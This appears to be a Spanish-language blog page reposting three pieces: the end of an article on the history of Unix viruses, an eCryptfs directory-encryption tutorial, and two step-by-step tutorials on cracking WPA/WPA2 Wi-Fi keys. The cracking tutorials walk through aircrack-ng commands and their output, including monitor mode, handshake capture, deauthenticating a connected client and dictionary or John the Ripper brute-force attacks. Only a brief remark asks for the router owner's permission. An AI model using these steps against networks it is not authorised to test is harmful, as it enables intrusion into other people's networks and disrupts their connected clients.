Si bien antiguamente los ejecutables de Unix contenían todo el código e inicializaban los datos por proceso, las nuevas versiones agregan una posibilidad distinta llamada "Bibliotecas Compartidas".

Estas "bibliotecas compartidas" funcionan así. El Unix guarda un índice de las rutinas que el programa utiliza, y las carga a medida que este las necesita, y esta biblioteca puede ser utilizada por distintos programas. Si bien esta nueva característica reporta muchas ventajas como evitar la redundancia en disco, lleva a ejecutables mas chicos y reduce el swapeo a disco; también ofrece una muy buena oportunidad para los creadores de virus. Aunque todavía no existe aún ningún virus que aproveche esta característica, las "bibliotecas compartidas" darían la posibilidad de infectar el ambiente Unix sin necesidad de atacar a cada archivo en particular.

Con solo colocar código corrupto en una biblioteca compartida, dicha biblioteca activará el virus cada vez que esta sea cargada en los diferentes programas.

Algunos ejemplos

Queda claro que la supuesta inviolabilidad del Unix a los virus informáticos es solo un mito. De hecho han existido ataques de virus, troyanos y gusanos a sistemas Unix, vamos a ver algunos de los más famosos:

Virus AT&T:

En 1988 Tomm Duff, un investigador de los laboratorios de AT&T Bell experimentó de que formas un virus podía atacar el sistema operativo Unix. Duff colocó una copia de un virus benigno en un programa llamado echo. Este programa fue colocado en un directorio binario con acceso a escritura a todos los usuarios. El virus ocupaba 634 bytes y corría en cualquier versión de Unix y en cualquier modelo de computadora. En una semana, 466 programas, en 46 máquinas ya estaban infectados. A sus supervisores no le gustó su investigación y el experimento finalizó.

El virus enviaba un mail señalando que había creado un agujero en la seguridad, ya que el efecto del virus era otorgar los atributos de super-usuario a todos los que corrieran el programa. (1)

Virus Shell Script:

Este virus fue creado por Doug McIlroy, un compañero de trabajo de Tomm Duff. Es un script del shell de sólo seis líneas, que cuando se ejecuta busca otros scripts de shell y se agrega a ellos.

Gusano de Internet:

Mal llamado virus de Internet fue detectado en Noviembre de 1988. Compuesto por unas 3200 líneas de código en lenguaje C atacó cerca de 6.000 sistemas Unix en Estados Unidos y otros lugares del mundo. Existe abundante información sobre el gusano de Internet, y su explicación en detalle requeriría un artículo en si mismo. De todas formas podemos decir que los bugs utilizados por este gusano en el servicio de mail ya fueron corregidos, por lo que la versión original ya no funciona.(2)

Virus VMAGIC

Este es el virus de Unix mas recientemente detectado que yo tenga noticia. Fue detectado en Julio de 1993 y es un infector de archivos COFF. El tamaño del virus es de 798 bytes. Corre en todos los modelos de computadora, aunque debería modificarse el fuente para que corra correctamente en máquinas con procesadores Intel. Este virus corre solo en un host, y no se copia a si mismo en redes. (3)

Conclusiones

Considero que el sistema operativo Unix es a todas las luces mucho mas seguro que el sistema operativo DOS. Su estructura jerárquica, y el escaso tráfico de ejecutables sin duda dificulta proliferación de ataques de virus informáticos, pero no es un sistema imbatible en aspectos de seguridad. A tal punto que algunas empresas se han dedicado a crear toolkits de seguridad específicos para este sistema operativo. La abismal diferencia en cantidad de virus informáticos, troyanos, gusanos, etc. existentes entre ambos ambientes se debe mucho más a que la mayoría de los creadores de virus conocen mucho mejor el ambiente DOS. Estoy seguro que, en la medida en que los sistemas Unix se hagan más accesibles a una cantidad mayor de usuarios, veremos aparecer más y más virus informáticos sobre plataforma Unix.

Notas:

(1) Tom Duff expuso sobre el mecanismo que había utilizado en la conferencia USENIX en 1989, y se han publicado algunos artículos sobre este tema en la revista Computing System (Primavera de 1989)

(2) Si se desea obtener más información sobre el gusano de Internet pueden consultarse la siguiente bibliografía: "The Internet Worm Program: An Analysis", por Eugene H. Spafford, Purdue Technical Report, Noviembre de 1988 o bien "With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988", por Mark W. Eichin y Jon A. Rochlis, Massachusetts Institute of Technology, Febrero de 1989

(3) Si se desea ampliar información sobre este virus puede consultarse "The Computer Virus Catalog", editado por la Universidad de Hamburgo.

Fernando Blanco Dopazo es Analista de Sistemas (graduado en ORT), y se ha especializado en seguridad informática. Actualmente trabaja en una renombrada consultora internacional, desempeñándose como auditor de sistemas bancarios.

Por Fernando Blanco Dopazo.

tomado de: http://hecate.com.ar/vr/vr22/unix.htm

jueves, 9 de mayo de 2013

Encriptando directorios con eCryptfs

eCryptfs es un sistema de ficheros que permite encriptar nuestra informacion. A su vez es un sistema de ficheros apilado, es decir, podemos montarlo encima de algun otro sistema de ficheros existente (como puede ser Ext3), esto significa que no tenemos que preocuparnos por asignarle espacio, conforme añadimos o eliminamos archivos, el espacio crece o decrece.
Para crear nuestro sistema de ficheros con ECryptfs solo tenemos que seguir los siguiente pasos; en este caso trabajaremos en Debian.
Lo primero que haremos es instalar el paquete ecryptfs:
$ sudo apt-get install ecryptfs-utils
Ahora creamos el directorio a encriptar. Reemplazar la palabra dir por el nombre de la carpeta donde quieran trabajar.
$ mkdir ~/dir
Ahora le asignamos permisos para que solo nuestro usuario pueda acceder:
$ chmod 700 ~/dir
Montamos el nuevo filesystem eCryptfs en la nueva carpeta creada:
$ sudo mount -t ecryptfs ~/dir ~/dir
Nos hara una serie de preguntas como la palabra secreta o clave que queremos utilizar.
Por defecto usa la encriptación AES, con una longitud de 16 bytes de longitud.
usuario@server:~/Escritorio$ sudo mount -t ecryptfs ~/dir ~/dir
[sudo] password for jose:
Unable to get the version number of the kernel
module. Please make sure that you have the eCryptfs
kernel module loaded, you have sysfs mounted, and
the sysfs mount point is in /etc/mtab. This is
necessary so that the mount helper knows which
kernel options are supported.
Make sure that your system is set up to auto-load
your filesystem kernel module on mount.
Enabling passphrase-mode only for now.
Select key type to use for newly created files:
1) passphrase
2) tspi
3) openssl
4) pkcs11-helper
Selection: 1
Passphrase:
Verify Passphrase:
Select cipher:
1) aes: blocksize = 16; min keysize = 16; max keysize = 32 (not loaded)
2) blowfish: blocksize = 16; min keysize = 16; max keysize = 32 (not loaded)
3) des3_ede: blocksize = 8; min keysize = 24; max keysize = 24 (not loaded)
4) twofish: blocksize = 16; min keysize = 16; max keysize = 32 (not loaded)
5) cast6: blocksize = 16; min keysize = 16; max keysize = 32 (not loaded)
6) cast5: blocksize = 8; min keysize = 5; max keysize = 16 (not loaded)
Selection [aes]: 1
Select key bytes:
1) 16
2) 32
3) 24
Selection [16]: 1
Attempting to mount with the following options:
ecryptfs_key_bytes=16
ecryptfs_cipher=aes
ecryptfs_sig=851af29c1f7f6a80
WARNING: Based on the contents of [/root/.ecryptfs/sig-cache.txt],
it looks like you have never mounted with this key
before. This could mean that you have typed your
passphrase wrong.
Would you like to proceed with the mount (yes/no)? yes
Would you like to append sig [851af29c1f7f6a80] to
[/root/.ecryptfs/sig-cache.txt]
in order to avoid this warning in the future (yes/no)? yes
Successfully appended new sig to user sig cache file
Mounted eCryptfs
Ahora ya podemos crear archivos, moverlos, etc…
Cuando terminemos de trabajar con nuestro directorio dir, desmontamos el sistema de ficheros:
$ sudo umount ~/dir
Si ahora accedemos a la carpeta, veremos los nombres de los ficheros y directorios, pero si intentamos abrirlos veremos que estan encriptados y no podemos ver la informacion.
Si queremos volver a acceder a los archivos, tendremos que montar de nuevo el filesystem.

miércoles, 8 de mayo de 2013

Tutorial 2: Como crackear WPA/WPA2 con John the ripper

Ahora que pasa si intentamos crackear una WPA/WPA2 con diccionario pero no dio resultados por que la clave que usaron es buena, es decir no usaron las típicas palabras que están en todos los diccionarios.

Una alternativa a usar un diccionario, es usar el programa criptográfico John the Ripper, el cual irá probando una a una todas las posibles combinaciones de claves que pueda haber. A esto se le conoce popularmente como un ataque de fuerza bruta.


El comando para usarlo con la suite aircrack es el siguiente:


john --stdout --incremental:all | aircrack-ng -b BSSID -w - fichero.cap


Aca lo que hacemos es pasar la salida de un comando en la terminal a otro por medio del pipe (la barrita parada) <Comando1 (se ejecuta primero)>|<Comando2 que recibe la salida del comando1>


Con la flag –incremental:all conseguimos que pruebe con todos los caracteres posibles y así, asegurarnos que la contraseña será encontrada (tarda mucho).


Con el flag -incremental:alpha conseguimos que pruebe solo con letras.


Con el flag -incremental:digits conseguimos que testee solo con digitos.


Con el flag -incremental:lanman conseguimos que ensaye con letras, números y algunos caracteres especiales.


Hay que ser consciente sobre el tiempo que puede tardar en encontrarse la contraseña ya que una clave WPA2 puede llegar a tener  desde 8 a 64 caracteres, si tenemos una clave de 8 caracteres, teniendo números y letras en mayúsculas y minúsculas, tenemos un total de 26+26+10=62 combinaciones posibles sin contar los caracteres especiales.


El número de combinaciones totales que John The Ripper tendría que hacer para obtener una contraseña de 8 dígitos es de 
62^8=218 340 105 584 896,  por lo que es probable que se tarden un tiempo en conseguir el password, lo cual ya es bastante malo, e  implicaria tener la pc prendida todo ese tiempo, sin que caiga la tensión se corte la energia electrica y  sin que falle el hardware de la pc, pero por suerte el JTR permite guardar y retomar sesiones lo cual hace ligeramente mas viable conseguir crackear un password por fuerza bruta (sigue siendo un método realmente malo)

Para guardar la sesión sencillamente agregamos --session:<Nombre de la sesion> el comando seria:


john --stdout --incremental:all --session:NombreSesion | aircrack-ng -b BSSID -w - fichero.cap


y para retomar una sesión el comando a utilizar sería:

john --restore:NombreSesion | aircrack-ng -b BSSID -w - fichero.cap

para más información al respecto, leer el manual en terminal de John The Ripper ( man john ).


Un tutorial mas explicativo acerca de JTR lo puden encontrar aquí ( en ingles )


Si te fue de utilidad puedes hacer una pequeña donacion.
15ovo5oDB3BEbm7NyTVSJwR2nPV3C8DPu6

domingo, 5 de mayo de 2013

Tutorial 1: Como crackear WPA/WPA2

Este manual trata sobre como obtener la clave WPA/WPA2 de una red en la que se usa un sistema de clave compartida (pre-shared keys). Es recomendable leer y aprender como funciona la encriptación WPA/WPA2. En el Wiki puedes encontrar una sección sobre WPA/WPA2.


WPA/WPA2 tiene soporte para otros tipos de autenticación, además de clave compartida. Pero con aircrack-ng SOLO se puede intentar obtener claves pre-compartidas (pre-shared keys). Por lo tanto asegúrate de que airodump-ng te dice que la autenticación de la red es de tipo PSK, y en otro caso, ni intentes averiguarla.
Hay otra diferencia importante entre crackear WPA/WPA2 y WEP. En las claves WEP, se pueden usar métodos “estáticos” de inyección para acelerar el proceso, pero para WPA/WPA2 solo se pueden utilizar técnicas de fuerza bruta. Esto se debe a que la clave no es estática, por lo que recogiendo IVs como para la encriptación WEP, no conseguiremos obtener más rápidamente la clave. Lo único que se necesita para poder iniciar un ataque es el handshake entre el cliente y el AP. El handshake se genera en el momento que el cliente se conecta a la red. Aunque no es exactamente cierto, para los propósitos de este tutorial, diremos que si es verdad: La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres, por lo que parece imposible crackear la clave.
La única forma de obtener la clave es utilizando un diccionario. De tal forma, que si quieres tener una red wireless segura en tu casa, debes usar una clave WPA/WPA2 de 63 caracteres, incluyendo en la misma símbolos especiales.
El hecho de tener que usar fuerza bruta es un inconveniente muy grande. Porque se hace un uso intensivo del procesador del PC, y solo puede probar de 50 a 300 claves por segundo, dependiendo de la CPU. El proceso puede llevar horas o días si se utiliza un diccionario grande. Si estás pensando en generar tu propio diccionario para incluir en el mismo todas las combinaciones posibles, echale un vistazo a este calculador de tiempo: brute force time calculator. Quedarás sorprendido de la gran cantidad de tiempo que es necesaria.
No hay ninguna diferencia entre el crackeo de redes WPA o WPA2. El método de autenticación es básicamente el mismo. Por lo que las técnicas a usar son idénticas.
Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar este ateque.
Antes de nada hay que darles las gracias a los Desarrolladores de la suite Aircrack-ng por crear estas herramientas tan fantásticas.
Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.

Puntos de partida

Suponemos que:
  • Estás usando drivers parcheados para inyección. Usa el injection test Para comprobar que tu tarjeta puede inyectar.
  • Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP. Deberías confirmar que te puedes comunicar con el AP siguiendo estas instrucciones.
  • Usamos la versión 0.9 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente.
Asegurate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.
En los ejemplos, la opción “guión doble bssid” se muestra como ”- -bssid”. Acuérdate de borrar el espacio entre los dos guiones cuando lo utilices en la vida real. Esto tambien se aplica a ”- -ivs”, ”- -arpreplay”, ”- -deauth”, ”- -channel”, ”- -arp” and ”- -fakeauth”.

Equipo usado


Para seguir este manual en tu casa, debes tener dos tarjetas wireless.
En este tutorial, a continuación puedes ver las que yo he usado:
  • Dirección MAC del PC ejecutando la suite aircrack-ng: 00:0F:B5:88:AC:82
  • Dirección MAC del cliente wireless usando WPA2: 00:0F:B5:FD:FB:C2
  • BSSID (dirección MAC del punto de acceso): 00:14:6C:7E:40:80
  • ESSID (nombre de la red Wireless): teddy
  • Canal del AP: 9
  • Interface Wireless: ath0
Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.

Solución

El objetivo es capturar el handshake WPA/WPA2 y usarlo con aircrack-ng para obtener la clave pre-compartida.
Esto se puede hacer de forma activa o pasiva. “Activa” significa que podemos acelerar el proceso deautenticando a un cliente wireless. “Pasiva” significa que podemos esperar a que un cliente wireless se autentifique en la red WPA/WPA2. La ventaja de la forma pasiva es que no necesitamos inyectar y por lo tanto podremos utilizarla desde Windows.
Aquí estań los pasos que vamos a seguir:
  1. Colocar la interface wireless en modo monitor y especificar el canal del AP
  2. Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar el handshake
  3. Usar aireplay-ng para deautentificar a un cliente conectado
  4. Ejecutar aircrack-ng para obtener la clave pre-compartida usando ese handshake

Paso 1 - Colocar la interface wireless en modo monitor y especificar el canal del AP


El propósito de este paso es colocar la tarjeta en el modo denominado modo monitor. En este modo la tarjeta wireless puede escuchar y capturar cualquier paquete en el aire. En cambio, en el modo normal la tarjeta solo “escuchará” los paquetes que van destinados a la misma. Escuchando todos los paquetes, podremos más adelante capturar los 4 paquetes que forman el handshake WPA/WPA2. Y opcionalmente tambien podremos deautenticar a un cliente wireless.
Primero para la interface ath0 escribiendo:
 airmon-ng stop ath0   
El sistema nos responderá:
 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Escribe “iwconfig” para comprobar que no hay mas interfaces athX. Deberás ver algo como esto:
 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.
Si queda alguna interface athX, para cada una de ellas. Cuando termines, ejecuta “iwconfig” para verificar que ya no queda ninguna.
Ahora, escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:
 airmon-ng start wifi0 9
Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.
El sistema nos responderá:
 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
Puedes observar que “ath0” aparece colocada en modo monitor.
Para confirmar que la interface está bien configurada, escribimos “iwconfig”.
El sistema nos responderá:
 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0
Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en “Access Point” vemos la dirección MAC de nuestra tarjeta wireless. Es importante comprobar toda esta información antes de continuar, ya que sino no funcionará.
Para ver la correspondencia entre frecuencia y canal, mira:
http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . 
Así obtendrás la frecuencia para cada canal.

Paso 2 - Iniciar airodump-ng para capturar el handshake


El propósito de este paso es ejecutar airodump-ng para capturar los 4 paquetes del handshake en el momento que un cliente se autentifica con el AP en el que estamos interesados.
Escribe:
 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
Donde:
  • -c 9 es el canal de la red wireless
  • - -bssid 00:14:6C:7E:40:80 es la dirección MAC del AP. Esto elimina el tráfico de otras redes.
  • -w psk es el nombre del archivo en el que guardaremos los IVs.
  • ath0 es el nombre de nuestra interface.
Importante: NO uses la opción ”- -ivs”. Debes capturar los paquetes enteros.
A continuación puedes ver una imagen en la que se vé un cliente wireless conectado a la red:
  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  
Y ahora una imagen de la red sin clientes conectados:
  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes 

Paso 3 - Usar aireplay-ng para deautentificar a un cliente conectado


Este paso es opcional. Solo es necesario realizar este paso si optas por acelerar activamente todo el proceso. El requisito necesario es que se encuentre asociado actualmente con el AP algún cliente wireless. Si no hay ningún cliente wireless asociado al AP, lee el siguiente paso del manual y ten paciencia. No es necesario decir, que si más tarde aparece algún cliente wireless, puedes volver atrás y seguir este apartado del manual.
Lo que se hace en este paso es enviar un mensaje al cliente wireless para desasociarlo con el AP. Entonces el cliente wireless se reautenticará con el AP. En la reautenticacion se generarán los 4 paquetes de autenticacion (handshake) en los que estamos interesados en capturar. Despues los usaremos para intentar obtener la clave precompartida WPA/WPA2.
Prestando atención a la salida del comando airodump-ng del paso anterior, podemos determinar el cliente que se encuentra conectado actualmente. Necesitamos su dirección MAC para el siguiente comando. Abre otra consola y escribe:
 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
Donde:
  • -0 significa deautenticación
  • 1 es el número de deautenticaciones enviadas (puedes enviar infinitas si lo deseas)
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -c 00:0F:B5:FD:FB:C2 es la dirección MAC del cliente que queremos deautenticar
  • ath0 es el nombre de nuestra interface
A continuación puedes ver la salida del comando:
 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]
Con un poco de suerte esto causará que el cliente se tenga que reautentificar y capturaremos los 4 paquetes handshake.
Problemas de uso

  • Los paquetes de deautenticación se envian directamente desde el PC a los clientes. Por lo que se debe estar físicamente cerca de los clientes wireless.

Paso 4 - Ejecutar aircrack-ng para obtener la clave pre-compartida


El propósito de este paso es conseguir la clave WPA/WPA2 precompartida. Para hacer esto, se necesita un diccionario de posibles palabras. Básicamente, aircrack-ng comprueba cada una de esas palabras para mirar si coincide con la clave.
Hay un pequeño diccionario que se incluye en la suite aircrack-ng - “password.lst”. En el Wiki FAQ puedes encontrar una larga lista de diferentes diccionarios. Se puede usar John the Ripper (JTR) para construir un diccionario propio y despues usarlo con aircrack-ng.
Abre otra consola y escribe:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Donde:
  • -w password.lst es el nombre del archivo del diccionario. Recuerda que tienes que especificar la ruta completa del archivo si no se encuentra en el mismo directorio.
  • *.cap es el nombre del grupo de archivos que contienen los paquetes capturados. Date cuenta que en este caso usamos el comodín * para incluir varios archivos.
Esta es la salida cuando no se encontró ningún handshake:
 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.
Cuando ocurre esto tienes que volver al paso 3 (deautenticar al cliente wireless) o esperar más tiempo para ver si se conecta algún cliente y se autentifica al AP.
Esta es la salida cuando se encuentra algún handshake:
 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.
 
 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
 
 Choosing first network as target.
En este punto, aircrack-ng intentará encontrar la clave. Dependiendo de la velocidad de la CPU y del tamaño del diccionario, este proceso puede llevar bastante tiempo, incluso días.
A continuación puedes ver que ocurre cuando averigua la clave precompartida:
                                        Aircrack-ng 0.8

                 [00:00:00] 2 keys tested (37.20 k/s)
 
 
                         KEY FOUND! [ 12345678 ]
 
 
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
 
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
 
    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Tomado de: http://www.aircrack-ng.org/doku.php?id=es:cracking_wpa